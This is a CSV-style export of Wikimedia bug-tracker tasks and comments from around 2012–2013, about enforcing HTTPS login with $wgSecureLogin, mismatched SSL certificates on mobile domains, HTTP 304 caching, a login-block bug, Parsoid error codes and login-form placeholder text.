+I'm totally up for enabling it for all wikis as the default. (In fact, my original patchset in Gerrit did just that by accident.) So that's fine with me as long as nobody else objects.",,,1346071401,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1
+187005,Set $wgSecureLogin = true; on Wikimedia wikis,"The two bugs are two separate HTTP/HTTPS behaviors.
+
+- bug #29898 offers the user to enforce every page is served in https://
+- bug #39380 allows the user to browse in http:// but enforce login in https://",,,1346054066,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+187002,Set $wgSecureLogin = true; on Wikimedia wikis,"My thoughts on this are that:
+
+(1) we shouldn't set $wgSecureLogin until there's a user preference for HTTPS (bug 29898) and a cookie to kick users from HTTP back to HTTPS); and
+
+(2) we shouldn't set this per-wiki as it's a complete waste of time (we'll end up with a dozen bugs asking for individual wiki changes until someone finally just sets a default; let's just set the default reasonably from the start).
+
+I'm strongly inclined to mark this bug as a duplicate of bug 29898. Is there any reason not to?",,,1346044738,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+186997,Set $wgSecureLogin = true; on Wikimedia wikis,I'm not sure. How does everybody else feel about it?,,,1345821964,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0
+186991,Set $wgSecureLogin = true; on Wikimedia wikis,"Finally, do you want to enable it only on en.wiki or Wikimedia-wide?",,,1345820622,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+186983,Set $wgSecureLogin = true; on Wikimedia wikis,https://gerrit.wikimedia.org/r/21322,,,1345813989,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+186977,Set $wgSecureLogin = true; on Wikimedia wikis,I would put it in wmf-config/CommonSettings.php,,,1345748405,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+186970,Set $wgSecureLogin = true; on Wikimedia wikis,"Kk, where exactly would I go about adding the option? If I'm correct, it's somewhere in operations/mediawiki-config (probably in the wmf-config directory), but I have no idea exactly where.",,,1345665463,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+186963,Set $wgSecureLogin = true; on Wikimedia wikis,"Indeed, a Gerrit change would be nice.",,,1345603682,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+186960,Set $wgSecureLogin = true; on Wikimedia wikis,Do I need to make a Gerrit change for this? Or is there some other way we can move forward and do this?,,,1345603040,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+186955,Set $wgSecureLogin = true; on Wikimedia wikis,See also bug 29898.,,,1345594428,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+186952,Set $wgSecureLogin = true; on Wikimedia wikis,"IIRC, ops wasn't deeply opposed to the idea of just switching the default to https for all pages, though that would be technically more difficult to get right, I think. Login forcing seems like a good start.",,,1345044088,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-54,True,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+186949,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #1)
+> (In reply to comment #0)
+> > With the exception of a few minor bugs (specifically email links),
+> > $wgSecureLogin functionality is for the most part complete. Is there any reason
+> > HTTPS login has not yet been enabled on enwiki?
+> 
+> Why just enwiki?
+
+Figured it was a good start. I'm totally open to just enabling it outright on all language Wikipedias (or even all wikis, if that's possible).",,,1345043863,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-54,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+186944,Set $wgSecureLogin = true; on Wikimedia wikis,"@Jarry1250 If the login in is plaintext, then the attacker grabs the victims password and can login at any time (and try to attack other services using the same username and password). If the login is over ssl, and then a user browses in plaintext, the attacker can get the user's session and impersonate the victim, but can't re-login if the session goes away, and can't use the victims password on other sites.",,,1345041656,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-54,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0
+186937,Set $wgSecureLogin = true; on Wikimedia wikis,I was under the impression that forcing https login is pointless if the user then browses on the insecure site - or am I wrong in that?,,,1345040614,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+186926,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #0)
+> With the exception of a few minor bugs (specifically email links),
+> $wgSecureLogin functionality is for the most part complete. Is there any reason
+> HTTPS login has not yet been enabled on enwiki?
+
+Why just enwiki?",,,1345040530,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-54,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1
+40412,https://m.mediawiki.org/w/index.php uses the wrong certificate,"Sends a certificate for  *.m.wikipedia.org , *.wikipedia.org , wikipedia.org  . Should probably use the certificate of https://www.mediawiki.org/ (*.mediawiki.org)
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1342376580,1361358978.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-3vb45zykveazkgcvuiol,task_description,resolved,True,c2,1,False,False,True,-59,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+205238,https://m.mediawiki.org/w/index.php uses the wrong certificate,"**inbox** wrote:
+
+
+
+%%%*** This bug has been marked as a duplicate of bug 34788 ***%%%",,,1361358978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3vb45zykveazkgcvuiol,task_subcomment,,True,c2,1,False,,,-27,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+205230,https://m.mediawiki.org/w/index.php uses the wrong certificate,Dupe of bug 34788?,,,1350100746,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3vb45zykveazkgcvuiol,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+40168,extract2.php: Implement HTTP 304 caching for www portals,"The last modified timestamp is available and already being included:
+
+header( 'Cache-Control: s-maxage=3600, must-revalidate, max-age=0' );
+header( ""Last-modified: $lastmod"" );
+
+We could extend this further and make it respond with ""304 Not Modified"" (without body content) for requests that have the same version cached. Should save a fair amount of bandwidth. 
+
+
+https://gerrit.wikimedia.org/r/gitweb?p=operations/mediawiki-config.git;a=blob;f=extract2.php;hb=HEAD
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1341422520,1412589371.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_description,resolved,True,c2,1,True,False,False,-60,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+190562,extract2.php: Implement HTTP 304 caching for www portals,Seems http://www.wikipedia.org and similar hits are now actually yielding 304 Not Modified client-side. I suspect maybe the switch to Varnish made this happen at the abstraction layer there.,,,1412589340,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_subcomment,,True,c2,3,True,,,57,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+190555,extract2.php: Implement HTTP 304 caching for www portals,"(In reply to comment #1)
+> Ping cf. hackathon in Amsterdam last week.
+
+Should it be added to the new hackathon's topics? :)",,,1365114994,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+190550,extract2.php: Implement HTTP 304 caching for www portals,Ping cf. hackathon in Amsterdam last week.,,,1352725245,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+39969,Block from account creation on enwiki disables login,"When trying to log in to the English Wikipedia at school, I get told that my IP is blocked from creating accounts. This is correct but it should -not- stop me from logging in.
+
+Relevant block log: https://en.wikipedia.org/w/index.php?title=Special:Log&page=User%3A89.238.166.170&type=block
+
+Screenshot: https://dl.dropbox.com/u/10971457/Wikimedia/Login%20blocked.jpg
+
+I have not been able to reproduce this on my local test wiki.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1340734260,1368033658.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,,False,PHID-TASK-rb72rpzjhhjeic4weywn,task_description,invalid,True,c2,1,True,False,True,-62,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+180402,Block from account creation on enwiki disables login,"Oops. It has a capital 'P'. Trying to log in with the capital one works, but any other name just shows the 'account registration blocked' notice instead of an 'invalid username' one.",,,1368033658,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+180398,Block from account creation on enwiki disables login,"It was user ""Krenair (public)"", which exists on enwiki.",,,1368033376,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+180393,Block from account creation on enwiki disables login,"Does the account already exist locally on enwiki, or would CentralAuth be trying to auto-create a local account during the login? Taking a quick glance through the code, the flow in SpecialUserlogin.php for handling auto-creation looks like it could throw that error and nothing else in the login flow (in core or CentralAuth) seems likely.
+
+If that's the case, this would be the opposite of bug 11148, and about the only thing we might do is improve the message somehow to make the situation clearer.",,,1368033222,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+180389,Block from account creation on enwiki disables login,Ran into this again today... No one else noticed it?,,,1368029897,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+180386,Block from account creation on enwiki disables login,(I will verify that I did indeed say the above),,,1340734384,,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,False,,,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+180383,Block from account creation on enwiki disables login,Jasper Deng has suggested that this may be a CentralAuth issue.,,,1340734349,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-62,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+39912,Parsoid: return http error status codes when encountering errors in the web service,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1340570880,1344641750.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-gzl65satajtfdglok3hp,task_description,resolved,True,c2,1,False,False,True,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+177292,Parsoid: return http error status codes when encountering errors in the web service,Merged and fixed.,,,1344641750,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-gzl65satajtfdglok3hp,task_subcomment,,True,c2,1,False,,,-55,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+177286,Parsoid: return http error status codes when encountering errors in the web service,Patch: https://gerrit.wikimedia.org/r/#/c/18699/,,,1344637728,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-gzl65satajtfdglok3hp,task_subcomment,,True,c2,1,False,,,-55,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+177279,Parsoid: return http error status codes when encountering errors in the web service,Mass-moving bugs into the new 'Parsoid' product.,,,1344281163,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gzl65satajtfdglok3hp,task_subcomment,,True,c2,1,True,,,-56,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+39650,m.wikinews.org has incorrect certificate (for *.wikipedia.org),"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.m.wikinews.org",Medium,50.0,1339851600,1361358864.0,PHID-USER-xqqqgn2dels45flxw5kb,False,,False,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_description,resolved,True,c2,1,True,False,True,-63,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+179003,m.wikinews.org has incorrect certificate (for *.wikipedia.org),"**inbox** wrote:
+
+
+
+%%%*** This bug has been marked as a duplicate of bug 34788 ***%%%",,,1361358864,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_subcomment,,True,c2,1,False,,,-27,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+178994,m.wikinews.org has incorrect certificate (for *.wikipedia.org),"This is related to bug 31335 (""SSL cert hostname mismatch errors on wikis with multiple subdomain components"") and bug 34788 (""Non-Wikipedia mobile domains use Wikipedia's SSL certificate""). Probably a dupe of one of the two, actually.",,,1350614568,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+178986,m.wikinews.org has incorrect certificate (for *.wikipedia.org),Still valid.,,,1350614255,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+51018,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"The placeholder text at <https://en.wikipedia.org/wiki/Special:UserLogin> should be removed.
+
+""Enter your username"" and ""Enter your password"" is unnecessary and possibly insulting to the user (it can be read as condescending). Looking at other sites, it seems the practice of using both a placeholder and a label is uncommon for fields of this nature.
+
+---
+
+On mobile (with smartphone media query, not tablet) the placeholders take a more important role, as they are the only field indicators.
+That's questionable on it's own, as the information, what field the user is currently typing in, is disappearing after the first character is typed.
+
+Should we improve the #voice_tone of the placeholders or get rid of them?
+
+| Desktop | Mobile (showing the issue when User is typing) | Mobile (Tablet)
+| -- | -- | --
+| {F4582762} | {F4582755} | {F4582758}
+|  Sign Up |
+| {F4537580} |  | 
+
+--------------------------
+**Version**: 1.22.0",Low,25.0,1370017620,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_description,open,True,c2,1,True,False,,-13,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+2321210,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by Krinkle using patch(es) linked to this task was **deleted**:
+
